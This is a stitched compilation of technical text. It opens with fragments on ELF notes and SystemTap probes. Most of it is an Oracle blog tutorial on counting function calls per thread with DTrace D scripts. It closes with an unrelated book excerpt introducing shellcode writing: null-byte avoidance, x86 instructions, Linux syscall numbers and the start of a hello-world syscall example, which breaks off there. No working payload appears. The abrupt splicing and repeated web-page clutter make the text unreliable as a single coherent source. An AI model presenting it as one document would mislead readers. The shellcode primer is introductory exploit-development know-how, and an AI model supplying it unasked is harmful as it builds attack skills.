    sh_link:      0               sh_info:    0 

    sh_addralign: 0x8 

Linux uses ELF notes capability to save probes information: 

# readelf -n ./myprog | grep stapsdt 

  stapsdt               0x00000033      Unknown note type: 

(0x00000003) 



  stapsdt               0x00000035      Unknown note type: 

(0x00000003) 

Because of the nature of DTrace probes which are registered 
dynamically, they could be generated dynamically. We will see it 
in JSDT. Another implementation of dynamic DTrace probes 
is libusdt library. 

https://myaut.github.io/dtrace-stap-book/app/proc.html 

Introduction 

DTrace is often positioned as an operating system analysis tool for the system administrators, 

but it has a wider use than this. In particular the application developer may find some features 

useful when trying to understand a performance problem. 

In this article we show how DTrace can be used to print a list of the user-defined functions that 

are called by the target executable. We also show how often these functions are called. Our 

solution presented below works for a multithreaded application and the function call counts 

for each thread are given. 

Motivation 

There are several reasons why it may be helpful to know how often functions are called: 

• Identify candidates for compiler-based inlining. With inlining, the function call is 

replaced by the source code of that function. This eliminates the overhead associated 

with calling a function and also provides additional opportunities for the compiler to 

better optimize the code. The downsides are an increase in the usage of registers and 

potentially a reduced benefit from an instruction cache. This is why inlining works best 

on small functions called very often. 

• Test coverage. Although much more sophisticated tools exist for this, for 

example gcov, function call counts can be useful to quickly verify if a function is called 

at all. Note that gcov requires the executable to be instrumented and the source has 

to be compiled with the appropriate options. 

• In case the function call counts vary across the threads of a multithreaded program, 

there may be a load imbalance. The counts can also be used to verify which functions 

are executed by a single thread only. 

  

Target Audience 

No background in DTrace is assumed. All DTrace features and constructs used are explained. It 

is expected the reader has some familiarity with developing applications, knows how to 

execute an executable, and has some basic understanding of shell scripts. 

The DTrace Basics 

DTrace provides dynamic tracing of both the operating system kernel and user processes. 

Kernel and process activities can be observed across all processes running, or be restricted to a 

https://myaut.github.io/dtrace-stap-book/app/java.html#jsdt
https://github.com/chrisa/libusdt
https://myaut.github.io/dtrace-stap-book/app/proc.html
https://www.oracle.com/linux/downloads/linux-dtrace.html
https://gcc.gnu.org/onlinedocs/gcc/Gcov.html


specific process, command, or executable. There is no need to recompile or have access to the 

source code of the process(es) that are monitored. 

A probe is a key concept in DTrace. Probes define the events that are available to the user to 

trace. For example, a probe can be used to trace the entry to a specific system call. The user 

needs to specify the probe(s) to monitor. The simple D language is available to program the 

action(s) to be taken in case an event occurs. 

DTrace is safe, unintrusive, and supports kernel as well as application observability. 

DTrace probes are organized in sets called providers. The name of a provider is used in the 

definition of a probe. The user can bind one or more tracing actions to any of the probes that 

have been provided. A list of all of the available probes on the system is obtained using the -

l option on the dtrace command that is used to invoke DTrace. 

Below an example is shown, but only snippets of the output are listed, because on this system 

there are over 110,000 probes. 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

# dtrace -l 

 

     ID   PROVIDER            MODULE                          FUNCTION NAME 

      1     dtrace                                                     BEGIN 

      2     dtrace                                                     END 

      3     dtrace                                                     ERROR 

 

                     <lines deleted> 

 

     16    profile                                                     tick-1000 

     17    profile                                                     tick-5000 

     18    syscall           vmlinux                              read entry 

     19    syscall           vmlinux                              read return 

     20    syscall           vmlinux                             write entry 

     21    syscall           vmlinux                             write return 

 

https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


                     <lines deleted> 

 

    656       perf           vmlinux               syscall_trace_enter sys_enter 

    657       perf           vmlinux            syscall_slow_exit_work sys_exit 

    658       perf           vmlinux                  emulate_vsyscall emulate_vsyscall 

    659   lockstat           vmlinux       intel_put_event_constraints spin-release 

    660   lockstat           vmlinux             intel_stop_scheduling spin-release 

    661   lockstat           vmlinux           uncore_pcibus_to_physid spin-release 

 

                     <lines deleted> 

 

  1023      sched           vmlinux              __sched_setscheduler dequeue 

  1024   lockstat           vmlinux              tg_set_cfs_bandwidth spin-release 

  1025      sched           vmlinux                     activate_task enqueue 

  1026      sched           vmlinux                   deactivate_task dequeue 

  1027       perf           vmlinux                    ttwu_do_wakeup sched_wakeup 

  1028      sched           vmlinux               do_set_cpus_allowed enqueue 

 

                 <many more lines deleted> 

 

155184        fbt        xt_comment                        comment_mt return 

155185        fbt        xt_comment                   comment_mt_exit entry 

155186        fbt        xt_comment                   comment_mt_exit return 

163711    profile                                                     profile-99 

163712    profile                                                     profile-1003 

# 

Each probe in this output is identified by a system-dependent numeric identifier and four fields 

with unique values: 

  

• provider - The name of the DTrace provider that is publishing this probe. 

• module - If this probe corresponds to a specific program location, the name of the 

kernel module, library, or user-space program in which the probe is located. 



• function - If this probe corresponds to a specific program location, the name of the 

kernel, library, or executable function in which the probe is located. 

• name - A name that provides some idea of the probe's semantic meaning, such 

as BEGIN, END, entry, return, enqueue, or dequeue. 

  

All probes have a provider name and a probe name, but some probes, such as 

the BEGIN, END, ERROR, and profile probes, do not specify a module and function field. This 

type of probe does not instrument any specific program function or location. Instead, these 

probes refer to a more abstract concept. For example, the BEGIN probe always triggers at the 

start of the tracing process. 

Wild cards in probe descriptions are supported. An empty field in the probe description is 

equivalent to * and therefore matches any possible value for that field. 

For example, to trace the entry to the malloc() function in libc.so.6 in a process with PID 365, 

the pid365:libc.so.6:malloc:entry probe can be used. To probe the malloc() function in this 

process regardless of the specific library it is part of, either 

the pid365::malloc:entry or pid365:*:malloc:entry probe can be used. 

  

Upon invocation of DTrace, probe descriptions are matched to determine which probes should 

have an action associated with them and need to be enabled. A probe is said to fire when the 

event it represents is triggered. 

  

The user defines the actions to be taken in case a probe fires. These need to be written in 

the D language, which is specific to DTrace, but readers with some programming experience 

will find it easy to learn. Different actions may be specified for different probe descriptions. 

While these actions can be specified at the command line, in this article we put all the probes 

and associated actions in a file. This D program, or script, by convention has the extension ".d". 

Aggregations are important in DTrace. Since they play a key role in this article we add a brief 

explanation here. 

The syntax for an aggregation is @user_defined_name[keys] = aggregation_function(). An 

example of an aggregation function is sum(arg). It takes a scalar expression as an argument 

and returns the total value of the specified expressions. 

For those readers who like to learn more about aggregations in particular we recommend to 

read this section on aggregations from the Oracle Linux DTrace Guide. This section also 

includes a list of the available aggregation functions. 

Testing Environment and Installation Instructions 

The experiments reported upon here have been conducted in an Oracle Cloud Infrastructure 

("OCI") instance running Oracle Linux. The following kernel has been used: 

Copy code snippet 

Copied to Clipboard 

https://docs.oracle.com/en/operating-systems/oracle-linux/dtrace-guide/dt_about_agg.html
https://docs.oracle.com/en/operating-systems/oracle-linux/dtrace-guide/
https://www.oracle.com/cloud/
https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

$ uname -srvo 

Linux 4.14.35-1902.3.1.el7uek.x86_64 #2 SMP Mon Jun 24 21:25:29 PDT 2019 GNU/Linux 

$ 

The 1.6.4 version of the D language and the 1.2.1 version of DTrace have been used: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

$ sudo dtrace -Vv 

dtrace: Sun D 1.6.4 

This is DTrace 1.2.1 

dtrace(1) version-control ID: e543f3507d366df6ffe3d4cff4beba2d75fdb79c 

libdtrace version-control ID: e543f3507d366df6ffe3d4cff4beba2d75fdb79c 

$ 

DTrace is available on Oracle Linux and can be installed through the following yum command: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

$ sudo yum install dtrace-utils 

After the installation has completed, please check your search path! DTrace is invoked through 

the dtrace command in /usr/sbin. Unfortunately there is a different tool with the same name 

in /usr/bin. You can check the path is correct through the following command: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy
https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy
https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


Error: Could not Copy 

$ which dtrace 

/usr/sbin/dtrace 

$ 

  

Oracle Linux is not the only operating system that supports DTrace. It actually has its roots in 

the Oracle Solaris operating system, but it is also available on macOS and Windows. DTrace is 

also supported on other Linux based operating systems. For example, this blog article outlines 

how DTrace could be used on Fedora. 

Counting Function Calls 

In this section we show how DTrace can be used to count function calls. Various D programs 

are shown, successively refining the functionality. 

The Test Program 

In the experiments below, a multithreaded version of the multiplication of a matrix with a 

vector is used. The program is written in C and the algorithm has been parallelized using 

the Pthreads API. This is a relatively simple test program and makes it easy to verify the call 

counts are correct. 

Below is an example of a job that multiplies a 1000x500 matrix with a vector of length 500 

using 4 threads. The output echoes the matrix sizes, the number of threads used, and the time 

it took to perform the multiplication: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

$ ./mxv.par.exe -m 1000 -n 500 -t 4 

Rows = 1000 columns = 500 threads = 4 time mxv = 510 (us) 

$ 

  

A First DTrace Program 

The D program below lists all functions that are called when executing the target executable. It 

also shows how often these functions have been executed. Line numbers have been added for 

ease of reference: 

Copy code snippet 

Copied to Clipboard 

https://blogs.oracle.com/linux/dtrace-on-fedora
https://docs.oracle.com/cd/E26502_01/html/E35303/tlib-1.html
https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy
https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

1 #!/usr/sbin/dtrace -s 

 2 

 3 #pragma D option quiet 

 4 

 5 BEGIN { 

 6  

printf("\n=====================================================================

=\n"); 

 7  printf("                    Function Call Count Statistics\n"); 

 8  

printf("======================================================================\

n"); 

 9 } 

10 pid$target:::entry 

11 { 

12  @all_calls[probefunc,probemod] = count(); 

13 } 

14 END { 

15  printa(@all_calls); 

16 } 

The first line invokes DTrace and uses the -s option to indicate the D program is to follow. At 

line 3, a pragma is used to supress some information DTrace prints by default. 

The BEGIN probe spans lines 5-9. This probe is executed once at the start of the tracing and is 

ideally suited to initialize variables and, as in this case, print a banner. 

At line 10 we use the pid provider to enable tracing of a user process. The target process is 

either specified using a particular process id (e.g. pid365), or through the $target macro 

variable that expands to the process id of the command specified at the command line. The 

latter form is used here. The pid provider offers the flexibility to trace any command, which in 

this case is the execution of the matrix-vector multiplication executable. 

We use wild cards for the module name and function. The probe name is entry and this means 

that this probe fires upon entering any function of the target process. 



Lines 11 and 13 contain the mandatory curly braces that enclose the actions taken. In this case 

there is only one action and it is at line 12. Here, the count() aggregation function is used. It 

returns how often it has been called. Note that this is on a per-probe basis, so this line counts 

how often each probe fires. The result is stored in an aggregation with the name @all_calls. 

Since this is an aggregation, the name has to start with the "@" symbol. 

The aggregation is indexed through the probefunc and probemod built-in DTrace variables. 

They expand to the function name that caused the probe to trigger and the module this 

function is part of. This means that line 12 counts how many times each function of the parent 

process is executed and the library or exectuable this function is part of. 

The END probe spans lines 14-16. Recall this probe is executed upon termination of the 

tracing. Although aggregations are automatically printed upon termination, we explicitly print 

the aggregation using the printa function. The function and module name(s), plus the 

respective counts, are printed. 

Below is the output of a run using the matrix-vector program. It is assumed that the D program 

shown above is stored in a file with the name fcalls.d. Note that root privileges are needed to 

use DTrace. This is why we use the sudo tool to execute the D program. By default the DTrace 

output is mixed with the program output. The -o option is used to store the DTrace output in a 

separate file. 

The -c option is used to specifiy the command or executable that needs to be traced. Since we 

use options on the executable, quotes are needed to delimit the full command. 

Since the full output contains 149 lines, only some snippets are shown here: 

  

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

$ sudo ./fcalls.d -c "./mxv.par.exe -m 1000 -n 500 -t 4" -o fcalls.out 

$ cat fcalls.out 

 

====================================================================== 

                    Function Call Count Statistics 

====================================================================== 

 

_Exit                                           libc.so.6         1 

_IO_cleanup                                     libc.so.6         1 

https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


_IO_default_finish                              libc.so.6         1 

_IO_default_setbuf                              libc.so.6         1 

_IO_file_close                                  libc.so.6         1 

 

                     <many more lines deleted> 

 

init_data                                     mxv.par.exe         1 

main                                          mxv.par.exe         1 

 

                     <many more lines deleted> 

 

driver_mxv                                    mxv.par.exe         4 

getopt                                          libc.so.6         4 

madvise                                         libc.so.6         4 

mempcpy                              ld-linux-x86-64.so.2         4 

mprotect                                        libc.so.6         4 

mxv_core                                      mxv.par.exe         4 

pthread_create@@GLIBC_2.2.5               libpthread.so.0         4 

 

                     <many more lines deleted> 

 

_int_free                                       libc.so.6      1007 

malloc                                          libc.so.6      1009 

_int_malloc                                     libc.so.6      1012 

cfree                                           libc.so.6      1015 

strcmp                               ld-linux-x86-64.so.2      1205 

__drand48_iterate                               libc.so.6    500000 

drand48                                         libc.so.6    500000 

erand48_r                                       libc.so.6    500000 

$ 

  



The output lists every function that is part of the dynamic call tree of this program, the module 

it is part of, and how many times the function is called. The list is sorted by default with 

respect to the function call count. 

The functions from module mxv.par.exe are part of the user source code. The other functions 

are from shared libraries. We know that some of these, e.g. drand48(), are called directly by 

the application, but the majority of these library functions are called indirectly. To make things 

a little more complicated, a function like malloc() is called directly by the application, but may 

also be executed by library functions deeper in the call tree. From the above output we cannot 

make such a distinction. 

Note that the DTrace functions stack() and/or ustack() could be used to get callstacks to see 

the execution path(s) where the calls originate from. In many cases this feature is used to 

zoom in on a specific part of the execution flow and therefore restricted to a limited set of 

probes. 

A Refined DTrace Program 

While the D program shown above is correct, the list with all functions that are called is quite 

long, even for this simple application. Another drawback is that there are many probes that 

trigger, slowing down program execution. 

In the second version of our D program, we'd like to restrict the list to user functions called 

from the executable mxv.par.exe. We also want to format the output, print a header and 

display the function list in alphabetical order. The modified version of the D program is shown 

below: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

1 #!/usr/sbin/dtrace -s 

 2 

 3 #pragma D option quiet 

 4 #pragma D option aggsortkey=1 

 5 #pragma D option aggsortkeypos=0 

 6 

 7 BEGIN { 

 8  

printf("\n=====================================================================

=\n"); 

 9  printf("                    Function Call Count Statistics\n"); 
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10  

printf("======================================================================\

n"); 

11 } 

12 pid$target:a.out::entry 

13 { 

14  @call_counts_per_function[probefunc] = count(); 

15 } 

16 END { 

17  printf("%-40s %12s\n\n", "Function name", "Count"); 

18  printa("%-40s %@12lu\n", @call_counts_per_function); 

19 } 

Two additional pragmas appear at lines 4-5. The pragma at line 4 enables sorting the 

aggregations by a key and the next one sets the key to the first field, the name of the function 

that triggered the probe. 

The BEGIN probe is unchanged, but the probe spanning lines 12-15 has two important 

differences compared to the similar probe used in the first version of our D program. At line 

12, we use a.out for the name of the module. This is an alias for the module name in the pid 

probe. It is replaced with the name of the target executable, or command, to be traced. In this 

way, the D program does not rely on a specific name for the target. 

The second change is at line 14, where the use of the probemod built-in variable has been 

removed because it is no longer needed. By design, only functions from the target executable 

trigger this probe now. 

The END probe has also been modified. At line 17, a statement has been added to print the 

header. The printa statement at line 18 has been extended with a format string to control the 

layout. This string is optional, but ideally suitable to print (a selection of) the fields of an 

aggregation. We know the first field is a string and the result is a 64 bit unsigned integer 

number, hence the use of the %s and %lu formats. The thing that is different compared to a 

regular printf format string in C/C++ is the use of the "@" symbol. This is required when 

printing the result of an aggregation function. 

Below is the output using the modified D program. The command to invoke this script is 

exactly the same as before. 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

https://blogs.oracle.com/linux/post/dtrace-for-the-application-developer-counting-function-calls#copy


====================================================================== 

                    Function Call Count Statistics 

====================================================================== 

Function name                                   Count 

 

allocate_data                                       1 

check_results                                       1 

determine_work_per_thread                           4 

driver_mxv                                          4 

get_user_options                                    1 

get_workload_stats                                  1 

init_data                                           1 

main                                                1 

mxv_core                                            4 

my_timer                                            2 

print_all_results                                   1 

The first thing to note is that with 11 entries, the list is much shorter. By design, the list is 

alphabetically sorted with respect to the function name. Since we no longer trace every 

function called, the tracing overhead has also been reduced substantially. 

A DTrace Program with Support for Multithreading 

With the above D program one can easily see how often our functions are executed. Although 

our goal of counting user function calls has been achieved, we'd like to go a little further. In 

particular, to provide statistics on the multithreading characteristics of the target application: 

  

• Print the name of the executable that has been traced, as well as the total number of 

calls to user defined functions. 

• Print how many function calls each thread executed. This shows whether all threads 

approximately execute the same number of function calls. 

• Print a function list with the call counts for each thread. This allows us to identify those 

functions executed sequentially and also provides a detailed comparison to verify load 

balancing at the level of the individual functions. 

  

The D program that implements this additional functionality is shown below. 

Copy code snippet 
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Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

1 #!/usr/sbin/dtrace -s 

 2 

 3 #pragma D option quiet 

 4 #pragma D option aggsortkey=1 

 5 #pragma D option aggsortkeypos=0 

 6 

 7 BEGIN { 

 8  

printf("\n=====================================================================

=\n"); 

 9  printf("                    Function Call Count Statistics\n"); 

10  

printf("======================================================================\

n"); 

11 } 

12 pid$target:a.out:main:return 

13 { 

14  executable_name = execname; 

15 } 

16 pid$target:a.out::entry 

17 { 

18  @total_call_counts                               = count(); 

19  @call_counts_per_function[probefunc]             = count(); 

20  @call_counts_per_thr[tid]                        = count(); 

21  @call_counts_per_function_and_thr[probefunc,tid] = count(); 

22 } 

23 END { 

24  printf("\n============================================================\n"); 



25  printf("Name of the executable     : %s\n" , executable_name); 

26  printa("Total function call counts : %@lu\n", @total_call_counts); 

27 

28  printf("\n============================================================\n"); 

29  printf("               Aggregated Function Call Counts\n"); 

30  printf("============================================================\n"); 

31  printf("%-40s %12s\n\n", "Function name", "Count"); 

32  printa("%-40s %@12lu\n", @call_counts_per_function); 

33 

34  printf("\n============================================================\n"); 

35  printf("               Function Call Counts Per Thread\n"); 

36  printf("============================================================\n"); 

37  printf("%6s %12s\n\n", "TID", "Count"); 

38  printa("%6d %@12lu\n", @call_counts_per_thr); 

39 

40  printf("\n============================================================\n"); 

41  printf("               Thread Level Function Call Counts\n"); 

42  printf("============================================================\n"); 

43  printf("%-40s %6s %10s\n\n", "Function name", "TID", "Count"); 

44  printa("%-40s %6d %@10lu\n", @call_counts_per_function_and_thr); 

45 } 

The first 11 lines are unchanged. Lines 12-15 define an additional probe that looks remarkably 

similar to the probe we have used so far, but there is an important difference. The wild card 

for the function name is gone and instead we specify main explicitly. That means this probe 

only fires upon entry of the main program. 

This is exactly what we want here, because this probe is only used to capture the name of the 

executable. It is available through the built-in variable execname. Another minor difference is 

that this probe triggers upon the return from this function. This is purely for demonstration 

purposes, because the same result would be returned if the trigger was on the entry to this 

function. 

One may wonder why we do not capture the name of the executable in the BEGIN probe. After 

all, it fires at the start of the tracing process and only once. The issue is that at this point in the 

tracing, execname does not return the name of the executable, but the file name of the D 

program. 



The probe used in the previous version of the D program has been extended to gather more 

statistics. There are now four aggregations at lines 18-21: 

  

• At line 18 we simply increment the counter each time this probe triggers. In other 

words, aggregation @total_call_counts contains the total number of function calls. 

• The statement at line 19 is identical to what was used in the previous version of this 

probe. 

• At line 20, the tid built-in variable is used as the key into an aggregation 

called @call_counts_per_thr. This variable contains the integer id of the thread 

triggering the probe. The count() aggregation function is used as the value. Therefore 

this statement counts how many function calls a specific thread has executed. 

• Another aggregation called @call_counts_per_function_and_thr is used at line 21. 

Here we use both the probefunc and tid built-in variables as a key. Again 

the count() aggregation function is used as the value. In this way we break down the 

number of calls from the function(s) triggering this probe by the thread id. 

  

The END probe is more extensive than before and spans lines 23-45. There are no new 

features or constructs though. The aggregations are printed in a similar way and the "@" 

symbol is used in the format string to print the results of the aggregations. 

The results of this D program are shown below. 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

====================================================================== 

                    Function Call Count Statistics 

====================================================================== 

 

============================================================ 

Name of the executable     : mxv.par.exe 

Total function call counts : 21 

 

============================================================ 

               Aggregated Function Call Counts 
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============================================================ 

Function name                                   Count 

 

allocate_data                                       1 

check_results                                       1 

determine_work_per_thread                           4 

driver_mxv                                          4 

get_user_options                                    1 

get_workload_stats                                  1 

init_data                                           1 

main                                                1 

mxv_core                                            4 

my_timer                                            2 

print_all_results                                   1 

 

============================================================ 

               Function Call Counts Per Thread 

============================================================ 

   TID        Count 

 

 20679           13 

 20680            2 

 20681            2 

 20682            2 

 20683            2 

 

============================================================ 

               Thread Level Function Call Counts 

============================================================ 

Function name                               TID      Count 

 



allocate_data                             20679          1 

check_results                             20679          1 

determine_work_per_thread                 20679          4 

driver_mxv                                20680          1 

driver_mxv                                20681          1 

driver_mxv                                20682          1 

driver_mxv                                20683          1 

get_user_options                          20679          1 

get_workload_stats                        20679          1 

init_data                                 20679          1 

main                                      20679          1 

mxv_core                                  20680          1 

mxv_core                                  20681          1 

mxv_core                                  20682          1 

mxv_core                                  20683          1 

my_timer                                  20679          2 

print_all_results                         20679          1 

Right below the header, the name of the executable (mxv.par.exe) and the total number of 

function calls (21) are printed. This is followed by the same table we saw before. 

The second table is titled "Function Call Counts Per Thread". The data confirms that 5 threads 

have been active. There is one master thread and it creates the other four threads. The thread 

ids are in the range 20679-20683. Note that these numbers are not fixed. A subsequent run 

most likely shows different numbers. What is presumably the main thread executes 13 

function calls. The other four threads execute two function calls each. 

These numbers don't tell us much about what is really going on under the hood and this is why 

we generate a third table titled "Thread Level Function Call Counts". The data is sorted with 

respect to the function names. 

What we see in this table is that the main thread executes all functions, other 

than driver_mxv and mxv_core. These two functions are executed by the four threads that 

have been created. We also see that function determine_work_per_thread is called four times 

by the main thread. This function is used to compute the amount of work to be executed by 

each thread. In a more scalable design, this should be handled by the individual threads. 

Function my_timer is executed twice by the main thread. That is because this function is called 

at the start and end of the matrix-vector multiplication. 

While this table shows the respective thread ids, it is not immediately clear which function(s) 

each thread executes. It is not difficult to create a table that shows the sorted thread ids in the 



first column and the function names, as well as the respective counts, next to the ids. This is 

left as an exercise to the reader. 

There is one more thing we would like to mention. While the focus has been on the user 

written functions, there is no reason why other functions cannot be included. For example, we 

know this program uses the Pthreads library libpthreads.so. In case functions from this library 

should be counted as well, a one line addition to the main probe is sufficient: 

Copy code snippet 

Copied to Clipboard 

Error: Could not Copy 

Copied to Clipboard 

Error: Could not Copy 

1 pid$target:a.out::entry, 

 2 pid$target:libpthread.so:pthread_*:entry 

 3 { 

 4  @total_call_counts                               = count(); 

 5  @call_counts_per_function[probefunc]             = count(); 

 6  @call_counts_per_thr[tid]                        = count(); 

 7  @call_counts_per_function_and_thr[probefunc,tid] = count(); 

The differences are in lines 1-2. Since we want to use the same actions for both probes, we 

simply place them back to back, separated by a comma. The second probe specifies the 

module (libpthread.so), but instead of tracing all functions from this library, for demonstration 

purposes we use a wild card to only select function names starting with pthread_. 

Additional Reading Material 

The above examples, plus the high level coverage of the DTrace concepts and terminology, are 

hopefully sufficient to get started. More details are beyond the scope of this article, but luckily, 

DTrace is very well documented. 

For example, the Oracle Linux DTrace Guide, covers DTrace in detail and includes many short 

code fragments. In case more information is needed, there are many other references and 

examples. Regarding the latter, the Oracle DTrace Tutorial contains a variety of example 

programs. 
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0x2a0 Writing Shellcode 

Writing shellcode is a skill set that many people lack. Simply in the 

construction of shellcode itself, various hacking tricks must be employed. The 

shellcode must be self-contained and must avoid null bytes, because these will 

end the string. If the shellcode has a null byte in it, a strcpy() function will 

recognize that as the end of the string. In order to write a piece of shellcode, 

an understanding of the assembly language of the target processor is needed. 

In this case, it's x86 assembly language, and while this book can't explain x86 

assembly in depth, it can explain a few of the salient points needed to write 

bytecode. 

There are two main types of assembly syntax for x86 assembly, AT&T syntax 

and Intel syntax. The two major assemblers in the Linux world are programs 

called gas (for AT&T syntax) and nasm (for Intel syntax). AT&T syntax is 

typically outputted by most disassembly functions, such as objdump and gdb. 

The disassembled procedure linkage table in the "Overwriting the Global 

Offset Table" section was displayed in AT&T syntax. However, Intel syntax 

tends to be much more readable, so for the purposes of writing shellcode, 

nasm-style Intel syntax will be used. 

Recall the processor registers discussed earlier, such as EIP, ESP, and EBP. 

These registers, among others, can be thought of as variables for assembly. 

However, because EIP, ESP, and EBP tend to be quite important, it's 

generally not wise to use them as general-purpose variables. The registers 

EAX, EBX, ECX, EDX, ESI, and EDI are all better suited for this purpose. 

These are all 32-bit registers, because the processor is a 32-bit processor. 

However, smaller chunks of these registers can be accessed using different 

registers. The 16-bit equivalents for EAX, EBX, ECX, and EDX are AX, BX, 

CX, and DX. The corresponding 8-bit equivalents are AL, BL, CL, and DL, 

which exist for backward compatibility. The smaller registers can also be used 

to create smaller instructions. This is useful when trying to create small 

bytecode. 

0x2a1 Common Assembly Instructions 

Instructions in nasm-style syntax generally follow the style of: 

instruction <destination>, <source> 

The following are some instructions that will be used in the construction of 

shellcode. 



Instruction Name/Syntax Description 

 

mov Move instruction Used to set initial values 

  mov <dest>, 

<src> 
Move the value from <src> into <dest> 

add Add instruction Used to add values 

  add <dest>, 
<src> 

Add the value in <src> to <dest> 

sub Subtract 

instruction 

Used to subtract values 

  sub <dest>, 
<src> 

Subtract the value in <src> from <dest> 

push Push instruction Used to push values to the stack 

  push <target> Push the value in <target> to the stack 

pop Pop instruction Used to pop values from the stack 

  pop <target> Pop a value from the stack into <target> 

jmp Jump instruction Used to change the EIP to a certain address 

  jmp <address> Change the EIP to the address in <address> 

call Call instruction Used like a function call, to change the EIP to a certain 

address, while pushing a return address to the stack 

  call <address> Push the address of the next instruction to the stack, and 

then change the EIP to the address in <address> 

lea Load effective 

address 

Used to get the address of a piece of memory 

  lea <dest>, 

<src> 
Load the address of <src> into <dest> 

int Interrupt Used to send a signal to the kernel 

  int <value> Call interrupt of <value> 

0x2a2 Linux System Calls 

In addition to the raw assembly instructions found in the processor, Linux 

provides the programmer with a set of functions that can be easily executed 

from assembly. These are known as system calls, and they are triggered by 

using interrupts. A listing of enumerated system calls can be found in 

/usr/include/asm/unistd.h. 

$ head -n 80 /usr/include/asm/unistd.h 

#ifndef _ASM_I386_UNISTD_H_ 

#define _ASM_I386_UNISTD_H_ 

 

/* 

 * This file contains the system call numbers. 

 */ 

 



#define __NR_exit                1 

#define __NR_fork                2 

#define __NR_read                3 

#define __NR_write               4 

#define __NR_open                5 

#define __NR_close               6 

#define __NR_waitpid             7 

#define __NR_creat               8 

#define __NR_link                9 

#define __NR_unlink             10 

#define __NR_execve             11 

#define __NR_chdir              12 

#define __NR_time               13 

#define __NR_mknod              14 

#define __NR_chmod              15 

#define __NR_lchown             16 

#define __NR_break              17 

#define __NR_oldstat            18 

#define __NR_lseek              19 

#define __NR_getpid             20 

#define __NR_mount              21 

#define __NR_umount             22 

#define __NR_setuid             23 

#define __NR_getuid             24 

#define __NR_stime              25 

#define __NR_ptrace             26 

#define __NR_alarm              27 

#define __NR_oldfstat           28 

#define __NR_pause              29 

#define __NR_utime              30 

#define __NR_stty               31 

#define __NR_gtty               32 

#define __NR_access             33 

#define __NR_nice               34 

#define __NR_ftime              35 

#define __NR_sync               36 

#define __NR_kill               37 

#define __NR_rename             38 

#define __NR_mkdir              39 

#define __NR_rmdir              40 

#define __NR_dup                41 

#define __NR_pipe               42 

#define __NR_times              43 

#define __NR_prof               44 

#define __NR_brk                45 

#define __NR_setgid             46 

#define __NR_getgid             47 

#define __NR_signal             48 

#define __NR_geteuid            49 

#define __NR_getegid            50 

#define __NR_acct               51 

#define __NR_umount2            52 

#define __NR_lock               53 

#define __NR_ioctl              54 

#define __NR_fcntl              55 

#define __NR_mpx                56 

#define __NR_setpgid            57 

#define __NR_ulimit             58 

#define __NR_oldolduname        59 

#define __NR_umask              60 

#define __NR_chroot             61 



#define __NR_ustat              62 

#define __NR_dup2               63 

#define __NR_getppid            64 

#define __NR_getpgrp            65 

#define __NR_setsid             66 

#define __NR_sigaction          67 

#define __NR_sgetmask           68 

#define __NR_ssetmask           69 

#define __NR_setreuid           70 

#define __NR_setregid           71 

#define __NR_sigsuspend         72 

#define __NR_sigpending         73 

Using the few simple assembly instructions explained in the previous section 

and the system calls found in unistd.h, many different assembly programs 

and pieces of bytecode can be written to perform many different functions. 

0x2a3 Hello, World! 

A simple "Hello, world!" program makes a convenient and stereotypical 

starting point to gain familiarity with system calls and assembly language. 

The "Hello, world!" program needs to write "Hello, world!" so the useful 

function in unistd.h is the write() function. Then to exit cleanly, 

the exit() function should be called to exit. This means the "Hello, world!" 

program needs to make two system calls, one to write() and one to exit(). 

First, the arguments expected from the write() function need to be 

determined. 

$ man 2 write 

WRITE(2)          Linux Programmer's Manual       WRITE(2) 

 

NAME 

      write - write to a file descriptor 

SYNOPSIS 

       #include <unistd.h> 

 

       ssize_t write(int fd, const void *buf, size_t count); 

 

DESCRIPTION 

       write writes up to count bytes to the file referenced by 

       the file descriptor fd from the buffer starting at buf. 

       POSIX requires that a read() which can be proved to occur 

       after a write() has returned returns the new data. Note 

       that not all file systems are POSIX conforming. 

 

$ man 2 exit 

_EXIT(2)            Linux Programmer's Manual             _EXIT(2) 

The first argument is a file descriptor, which is an integer. The standard output 

device is 1, so to print to the terminal, this argument should be 1. The next 

argument is a pointer to a character buffer containing the string to be written. 

The final argument is the size of this character buffer. 



When making a system call in assembly, EAX, EBX, ECX, and EDX are used 

to determine which function to call and to set up the arguments for the 

function. Then a special interrupt (int 0x80) is used to tell the kernel to use 

these registers to call a function. EAX is used to designate which function is 

to be called, EBX is used for the first function argument, ECX for the second, 

and EDX for the third. 

So, to write "Hello, world!" to the terminal, the string Hello, world! must be 

placed somewhere in memory. Following proper memory-segmentation 

practices, it should be put somewhere in the data segment. Then the various 

assembled machine language instructions should be put in the text (or code) 

segment. These instructions will set EAX, EBX, ECX, and EDX appropriately 

and then call the system call interrupt. 

The value of 4 needs to be put into the EAX register, because 

the write() function is system call number 4. Then the value of 1 needs to be 

put into EBX, because the first argument of write() is an integer representing 

the file descriptor (in this case, it is the standard output device, which is 1). 

